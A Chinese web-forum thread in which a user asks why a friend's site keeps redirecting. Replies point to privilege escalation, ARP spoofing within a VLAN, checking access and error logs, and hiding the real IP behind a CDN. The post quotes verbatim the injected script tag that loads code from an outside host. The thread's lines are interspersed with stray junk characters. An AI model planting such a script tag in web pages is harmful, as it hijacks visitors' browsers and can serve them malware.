关于网站被黑被跳转

浅醉

貌似最近黑客活动的比较频繁
4 L4 D# l& g) ?+ \
有朋友的网站经常被跳转,就是在index加了句
3 j/ {: f& ]; F# F' ]. M
<script language="javascript" src="http://www.googletracing.com/index.php?i=louisvuitton"></script>
0 P; ], W  {2 k' ^
3 u5 V, M. T+ _( M是用这句JS去调用另一个页面的跳转代码来跳转吗?
4 ^- s6 q& {1 f5 c) U4 W
2 h) H6 y# B( Y已经把写入权限关了都还能修改index是怎么回事?
$ s" p; R* D/ z2 N
大家对网站安全方面有没有什么心得可以分享一下呢?

aja0x.som

即使你限制了权限，一旦入侵并提权依然可写，只要提的权限够高，一切可写。
另如果是被ARP攻击也可插入代码且无须侵入主机，同一VLAN内即可。
% p2 ^3 V: [' p. K查被修改网站的最近access和error日志吧

sooboo

使用谷歌cdn加速，屏蔽掉真是IP